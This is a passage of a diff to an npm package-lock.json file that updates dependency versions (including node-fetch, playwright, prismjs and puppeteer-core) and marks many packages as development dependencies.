"sha512-mm45nUrBDk0DgZKgbD7+bhDOtcAFNGPJJRAdS6Su1kTGl6XEgC7U3xOmDUW/0RrLf+jlvCGaqLvD4p2VjwuwwQ==", + "dev": true }, "ms": { "version": "2.0.0", @@ -9220,45 +8108,31 @@ "requires": { "queue-microtask": "^1.1.2", "readable-stream": "^3.6.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "nan-x": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/nan-x/-/nan-x-1.0.2.tgz", - "integrity": "sha512-dndRmy03JQEN+Nh6WjQl7/OstIozeEmrtWe4TE7mEqJ8W8oMD8m2tHjsLPWt//e3hLAeRSbs4pxMyc5pk/nCkQ==" + "integrity": "sha512-dndRmy03JQEN+Nh6WjQl7/OstIozeEmrtWe4TE7mEqJ8W8oMD8m2tHjsLPWt//e3hLAeRSbs4pxMyc5pk/nCkQ==", + "dev": true + }, + "nanocolors": { + "version": "0.2.9", + "resolved": "https://registry.npmjs.org/nanocolors/-/nanocolors-0.2.9.tgz", + "integrity": "sha512-aymgS4Xe0LMqHOHl7jSUEkFh/6O/pcF0j61dBtreQZ1nmbyYdYjSYSJzz0iPLbKPkMtSmdRgyBGywNZGjKOEfw==", + "dev": true + }, + "nanoid": { + "version": "3.1.28", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.28.tgz", + "integrity": "sha512-gSu9VZ2HtmoKYe/lmyPFES5nknFrHa+/DT9muUFWFMi6Jh9E1I7bkvlQ8xxf1Kos9pi9o8lBnIOkatMhKX/YUw==", + "dev": true }, "napi-macros": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/napi-macros/-/napi-macros-2.0.0.tgz", - "integrity": "sha512-A0xLykHtARfueITVDernsAWdtIMbOJgKgcluwENp3AlsKN/PloyO10HtmoqnFAQAcxPkgZN7wdfPfEd0zNGxbg==" + "integrity": "sha512-A0xLykHtARfueITVDernsAWdtIMbOJgKgcluwENp3AlsKN/PloyO10HtmoqnFAQAcxPkgZN7wdfPfEd0zNGxbg==", + "dev": true }, "natural-compare": { "version": "1.4.0", @@ -9279,27 +8153,16 @@ "dev": true }, "nise": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/nise/-/nise-4.1.0.tgz", - "integrity": "sha512-eQMEmGN/8arp0xsvGoQ+B1qvSkR73B1nWSCh7nOt5neMCtwcQVYQGdzQMhcNscktTsWB54xnlSQFzOAPJD8nXA==", + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/nise/-/nise-5.1.0.tgz", + "integrity": "sha512-W5WlHu+wvo3PaKLsJJkgPup2LrsXCcm7AWwyNZkUnn5rwPkuPBi3Iwk5SQtN0mv+K65k7nKKjwNQ30wg3wLAQQ==", "dev": true, "requires": { "@sinonjs/commons": "^1.7.0", - "@sinonjs/fake-timers": "^6.0.0", + "@sinonjs/fake-timers": "^7.0.4", "@sinonjs/text-encoding": "^0.7.1", "just-extend": "^4.0.2", "path-to-regexp": "^1.7.0" - }, - "dependencies": { - "@sinonjs/fake-timers": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-6.0.1.tgz", - "integrity": "sha512-MZPUxrmFubI36XS1DI3qmI0YdN1gks62JtFZvxR67ljjSNCeK6U08Zx4msEWOXuofgqUt6zPHSi1H9fbjR/NRA==", - "dev": true, - "requires": { - "@sinonjs/commons": "^1.7.0" - } - } } }, "node-environment-flags": { @@ -9321,23 +8184,16 @@ } }, "node-fetch": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz", - "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA==" + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz", + "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==", + "dev": true }, "node-gyp-build": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.1.1.tgz", - "integrity": "sha512-dSq1xmcPDKPZ2EED2S6zw/b9NKsqzXRE6dVr8TVQnI3FJOTteUMuqF3Qqs6LZg+mLGYJWqQzMbIjMtJqTv87nQ==" - }, - "nomnom": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/nomnom/-/nomnom-1.8.1.tgz", - "integrity": "sha1-IVH3Ikcrp55Qp2/BJbuMjy5Nwqc=", - "requires": { - "chalk": "~0.4.0", - "underscore": "~1.6.0" - } + "integrity": "sha512-dSq1xmcPDKPZ2EED2S6zw/b9NKsqzXRE6dVr8TVQnI3FJOTteUMuqF3Qqs6LZg+mLGYJWqQzMbIjMtJqTv87nQ==", + "dev": true }, "normalize-package-data": { "version": "3.0.3", @@ -9361,6 +8217,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/normalize-space-x/-/normalize-space-x-3.0.0.tgz", "integrity": "sha512-tbCJerqZCCHPst4rRKgsTanLf45fjOyeAU5zE3mhDxJtFJKt66q39g2XArWhXelgTFVib8mNBUm6Wrd0LxYcfQ==", + "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "trim-x": "^3.0.0", @@ -9379,12 +8236,14 @@ "object-assign": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-2.1.1.tgz", - "integrity": "sha1-Q8NuXVaf+OSBbE76i+AtJpZ8GKo=" + "integrity": "sha1-Q8NuXVaf+OSBbE76i+AtJpZ8GKo=", + "dev": true }, "object-get-own-property-descriptor-x": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/object-get-own-property-descriptor-x/-/object-get-own-property-descriptor-x-3.2.0.tgz", "integrity": "sha512-Z/0fIrptD9YuzN+SNK/1kxAEaBcPQM4gSrtOSMSi9eplnL/AbyQcAyAlreAoAzmBon+DQ1Z+AdhxyQSvav5Fyg==", + "dev": true, "requires": { "attempt-x": "^1.1.0", "has-own-property-x": "^3.1.1", @@ -9401,7 +8260,8 @@ "is-primitive": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", - "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=" + "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", + "dev": true } } }, @@ -9414,7 +8274,8 @@ "object-keys": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", - "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==" + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true }, "object.assign": { "version": "4.1.2", @@ -9474,6 +8335,7 @@ "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, "requires": { "wrappy": "1" } @@ -9573,6 +8435,7 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/parse-int-x/-/parse-int-x-2.0.0.tgz", "integrity": "sha512-NIMm52gmd1+0qxJK8lV3OZ4zzWpRH1xcz9xCHXl+DNzddwUdS4NEtd7BmTeK7iCIXoaK5e6BoDMHgieH2eNIhg==", + "dev": true, "requires": { "cached-constructors-x": "^1.0.0", "nan-x": "^1.0.0", @@ -9631,7 +8494,8 @@ "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", + "dev": true }, "path-key": { "version": "3.1.1", @@ -9652,6 +8516,14 @@ "dev": true, "requires": { "isarray": "0.0.1" + }, + "dependencies": { + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + } } }, "path-type": { @@ -9805,9 +8677,9 @@ } }, "playwright": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.14.1.tgz", - "integrity": "sha512-JYNjhwWcfsBkg0FMGLbFO9e58FVdmICE4k97/glIQV7cBULL7oxNjRQC7Ffe+Y70XVNnP0HSJLaA0W5SukyftQ==", + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.15.0.tgz", + "integrity": "sha512-JtagFVjNvccP1rIixHB/4KbR+BzMTJLty6mo71YLatvJR9ZH+PX8DLlhw1KDdIH2YGMSQGf2ihh4KAp9tsklxQ==", "dev": true, "requires": { "commander": "^6.1.0", @@ -9905,6 +8777,7 @@ "version": "7.2.2", "resolved": "https://registry.npmjs.org/pouchdb/-/pouchdb-7.2.2.tgz", "integrity": "sha512-5gf5nw5XH/2H/DJj8b0YkvG9fhA/4Jt6kL0Y8QjtztVjb1y4J19Rg4rG+fUbXu96gsUrlyIvZ3XfM0b4mogGmw==", + "dev": true, "requires": { "abort-controller": "3.0.0", "argsarray": "0.0.1", @@ -9931,22 +8804,32 @@ "buffer-from": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", - "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==" + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", + "dev": true }, "immediate": { "version": "3.3.0", "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.3.0.tgz", - "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==" + "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==", + "dev": true }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + }, + "node-fetch": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz", + "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA==", + "dev": true }, "readable-stream": { "version": "1.1.14", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=", + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.1", @@ -9957,12 +8840,20 @@ "spark-md5": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.1.tgz", - "integrity": "sha512-0tF3AGSD1ppQeuffsLDIOWlKUd3lS92tFxcsrh5Pe3ZphhnoK+oXIBTzOAThZCiuINZLvpiLH/1VS1/ANEJVig==" + "integrity": "sha512-0tF3AGSD1ppQeuffsLDIOWlKUd3lS92tFxcsrh5Pe3ZphhnoK+oXIBTzOAThZCiuINZLvpiLH/1VS1/ANEJVig==", + "dev": true + }, + "string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", + "dev": true }, "through2": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.2.tgz", "integrity": "sha512-enaDQ4MUyP2W6ZyT6EsMzqBPZaM/avg8iuo+l2d3QCs0J+6RaqkHV/2/lOwDTueBHeJ/2LG9lrLW3d5rWPucuQ==", + "dev": true, "requires": { "inherits": "^2.0.4", "readable-stream": "2 || 3" @@ -9972,6 +8863,7 @@ "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -9982,6 +8874,7 @@ "version": "1.3.0", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, "requires": { "safe-buffer": "~5.2.0" } @@ -9991,7 +8884,8 @@ "uuid": { "version": "8.1.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.1.0.tgz", - "integrity": "sha512-CI18flHDznR0lq54xBycOVmphdCYnQLKn8abKn7PXUiKUGdEd+/l9LWNJmugXel4hXq7S+RMNl34ecyC9TntWg==" + "integrity": "sha512-CI18flHDznR0lq54xBycOVmphdCYnQLKn8abKn7PXUiKUGdEd+/l9LWNJmugXel4hXq7S+RMNl34ecyC9TntWg==", + "dev": true } } }, @@ -9999,6 +8893,7 @@ "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-binary-utils/-/pouchdb-binary-utils-6.4.3.tgz", "integrity": "sha512-eRKH/1eiZwrqNdAR3CL1XIIkq04I9hHIABHwIRboz1LjBSchKmaf4ZDngiWGDvRYT9Gl/MogGDGOk1WRMoV4wg==", + "dev": true, "requires": { "buffer-from": "0.1.1" } @@ -10006,17 +8901,20 @@ "pouchdb-collate": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/pouchdb-collate/-/pouchdb-collate-1.2.0.tgz", - "integrity": "sha1-yuO4MPyhJLf5fSMEbk+qMR7Dgow=" + "integrity": "sha1-yuO4MPyhJLf5fSMEbk+qMR7Dgow=", + "dev": true }, "pouchdb-collections": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-collections/-/pouchdb-collections-6.4.3.tgz", - "integrity": "sha512-uWb9+hvjiijeyrCeEz/FUND1oj0AQK/f166egBOTofNlAwQLNrJUTn+uJ34b3NODAmKhg7+ZeDVvnl9D2pijuQ==" + "integrity": "sha512-uWb9+hvjiijeyrCeEz/FUND1oj0AQK/f166egBOTofNlAwQLNrJUTn+uJ34b3NODAmKhg7+ZeDVvnl9D2pijuQ==", + "dev": true }, "pouchdb-errors": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-errors/-/pouchdb-errors-6.4.3.tgz", "integrity": "sha512-EU83ZZJjorwGL9DQZ9HAILY8D+ulX2RYVMtsCfIuzaIJEUrHh/dhSIy5854n42NBOUWug3gFDyO58w5k+64HTQ==", + "dev": true, "requires": { "inherits": "2.0.3" }, @@ -10024,19 +8922,22 @@ "inherits": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", + "dev": true } } }, "pouchdb-extend": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/pouchdb-extend/-/pouchdb-extend-0.1.2.tgz", - "integrity": "sha1-0c5RG/cE7S4p979CikFqz/+hJLg=" + "integrity": "sha1-0c5RG/cE7S4p979CikFqz/+hJLg=", + "dev": true }, "pouchdb-mapreduce-utils": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-mapreduce-utils/-/pouchdb-mapreduce-utils-6.4.3.tgz", "integrity": "sha512-gbxX6h+nOKPDv2eYZznUthHiZ1Ml1xViE8DalEy6+fPzCba6CZ6dTKGZoFrBg4oLF3Wc+cUNX9Uk8cezVMGOhA==", + "dev": true, "requires": { "argsarray": "0.0.1", "inherits": "2.0.3", @@ -10047,7 +8948,8 @@ "inherits": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", + "dev": true } } }, @@ -10055,6 +8957,7 @@ "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-md5/-/pouchdb-md5-6.4.3.tgz", "integrity": "sha512-EnToEO+JLJA5bHDYWs42B8hU9Q1TckVozQjTSXL/pDXKXLATuVEKHNq8F/4lrpxblpngx4Zt8z2Luwu0etLSqw==", + "dev": true, "requires": { "pouchdb-binary-utils": "6.4.3", "spark-md5": "3.0.0" @@ -10063,7 +8966,8 @@ "spark-md5": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.0.tgz", - "integrity": "sha1-NyIifFTi+vJLHcbZM8wUTm9xv+8=" + "integrity": "sha1-NyIifFTi+vJLHcbZM8wUTm9xv+8=", + "dev": true } } }, @@ -10071,6 +8975,7 @@ "version": "5.4.4", "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-5.4.4.tgz", "integrity": "sha1-3SigRxl+Ent+33m5yje7xC8EZmU=", + "dev": true, "requires": { "lie": "3.0.4" }, @@ -10079,6 +8984,7 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/lie/-/lie-3.0.4.tgz", "integrity": "sha1-vHrh6+fxyN45r9zU94kHa0ew9jQ=", + "dev": true, "requires": { "es3ify": "^0.2.2", "immediate": "~3.0.5", @@ -10092,6 +8998,7 @@ "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-utils/-/pouchdb-utils-6.4.3.tgz", "integrity": "sha512-22QXh743YXl/afheeumrUKsO/0Q4Q8bvoboFp/1quXq//BDJa9nv55WUZX0l05t3VPW+nD/pse2FzU9cs3nEag==", + "dev": true, "requires": { "argsarray": "0.0.1", "clone-buffer": "1.0.0", @@ -10106,15 +9013,23 @@ "inherits": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", + "dev": true }, "pouchdb-promise": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-6.4.3.tgz", "integrity": "sha512-ruJaSFXwzsxRHQfwNHjQfsj58LBOY1RzGzde4PM5CWINZwFjCQAhZwfMrch2o/0oZT6d+Xtt0HTWhq35p3b0qw==", + "dev": true, "requires": { "lie": "3.1.1" } + }, + "uuid": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", + "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==", + "dev": true } } }, @@ -10125,14 +9040,15 @@ "dev": true }, "prismjs": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.24.1.tgz", - "integrity": "sha512-mNPsedLuk90RVJioIky8ANZEwYm5w9LcvCXrxHlwf4fNVSn8jEipMybMkWUyyF0JhnC+C4VcOVSBuHRKs1L5Ow==" + "version": "1.25.0", + "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.25.0.tgz", + "integrity": "sha512-WCjJHl1KEWbnkQom1+SzftbtXMKQoezOCYs5rECqMN+jP+apI7ftoflyqigqzopSO3hMhTEb0mFClA8lkolgEg==" }, "private": { "version": "0.1.8", "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", - "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==" + "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==", + "dev": true }, "process-nextick-args": { "version": "2.0.1", @@ -10167,6 +9083,7 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/property-is-enumerable-x/-/property-is-enumerable-x-1.1.0.tgz", "integrity": "sha512-22cKy3w3OpRswU6to9iKWDDlg+F9vF2REcwGlGW23jyLjHb1U/jJEWA44sWupOnkhGfDgotU6Lw+N2oyhNi+5A==", + "dev": true, "requires": { "to-object-x": "^1.4.1", "to-property-key-x": "^2.0.1" @@ -10181,12 +9098,14 @@ "prr": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", - "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=" + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", + "dev": true }, "psl": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", - "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" + "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==", + "dev": true }, "pump": { "version": "3.0.0", @@ -10201,12 +9120,13 @@ "punycode": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "dev": true }, "puppeteer-core": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/puppeteer-core/-/puppeteer-core-10.2.0.tgz", - "integrity": "sha512-c1COxSnfynsE6Mtt+dW0t3TITjF9Ku4dnJbFMDDVhLQuMTYSpz4rkSP37qvzcSo3k02/Ac3GYWk0/ncp6DKZNA==", + "version": "10.4.0", + "resolved": "https://registry.npmjs.org/puppeteer-core/-/puppeteer-core-10.4.0.tgz", + "integrity": "sha512-KU8zyb7AIOqNjLCN3wkrFXxh+EVaG+zrs2P03ATNjc3iwSxHsu5/EvZiREpQ/IJiT9xfQbDVgKcsvRuzLCxglQ==", "dev": true, "requires": { "debug": "4.3.1", @@ -10238,12 +9158,6 @@ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true }, - "node-fetch": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz", - "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==", - "dev": true - }, "pkg-dir": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", @@ -10270,7 +9184,8 @@ "q": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz", - "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=" + "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=", + "dev": true }, "qs": { "version": "6.10.1", @@ -10324,12 +9239,6 @@ "toidentifier": "1.0.0" } }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, "setprototypeof": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", @@ -10578,14 +9487,14 @@ } }, "readable-stream": { - "version": "1.0.34", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", - "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" } }, "readable-stream-node-to-web": { @@ -10594,6 +9503,15 @@ "integrity": "sha1-i3YU+qFGXr+g2pucpjA/onBzt88=", "dev": true }, + "readable-web-to-node-stream": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/readable-web-to-node-stream/-/readable-web-to-node-stream-3.0.2.tgz", + "integrity": "sha512-ePeK6cc1EcKLEhJFt/AebMCLL+GgSKhuygrZ/GLaKZYEecIgIECf4UaUuaByiGtzckwR4ain9VzUh95T1exYGw==", + "dev": true, + "requires": { + "readable-stream": "^3.6.0" + } + }, "readdirp": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", @@ -10607,6 +9525,7 @@ "version": "0.11.23", "resolved": "https://registry.npmjs.org/recast/-/recast-0.11.23.tgz", "integrity": "sha1-RR/TAEqx5N+bTktmN2sqIZEkYtM=", + "dev": true, "requires": { "ast-types": "0.9.6", "esprima": "~3.1.0", @@ -10617,12 +9536,14 @@ "esprima": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/esprima/-/esprima-3.1.3.tgz", - "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=" + "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=", + "dev": true }, "source-map": { "version": "0.5.7", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "dev": true } } }, @@ -10664,6 +9585,7 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/replace-comments-x/-/replace-comments-x-2.0.0.tgz", "integrity": "sha512-+vMP4jqU+8HboLWms6YMNEiaZG5hh1oR6ENCnGYDF/UQ7aYiJUK/8tcl3+KZAHRCKKa3gqzrfiarlUBHQSgRlg==", + "dev": true, "requires": { "require-coercible-to-string-x": "^1.0.0", "to-string-x": "^1.4.2" @@ -10673,6 +9595,7 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/require-coercible-to-string-x/-/require-coercible-to-string-x-1.0.2.tgz", "integrity": "sha512-GZ3BSCL0n/zhho8ITganW9FGPh0Kxhq71nCjck8Qau/30Wf4Po8a3XpQdzEMFiXCwZ/0m0E3lKSdSG8gkcIofQ==", + "dev": true, "requires": { "require-object-coercible-x": "^1.4.3", "to-string-x": "^1.4.5" @@ -10700,6 +9623,7 @@ "version": "1.4.3", "resolved": "https://registry.npmjs.org/require-object-coercible-x/-/require-object-coercible-x-1.4.3.tgz", "integrity": "sha512-5wEaS+NIiU5HLJQTqBQ+6XHtX7yplUS374j/H/nRDlc7rMWfENqp026jnUHWAOCZ+ekixkXuFHEnTF28oqqVLA==", + "dev": true, "requires": { "is-nil-x": "^1.4.2" } @@ -10809,9 +9733,9 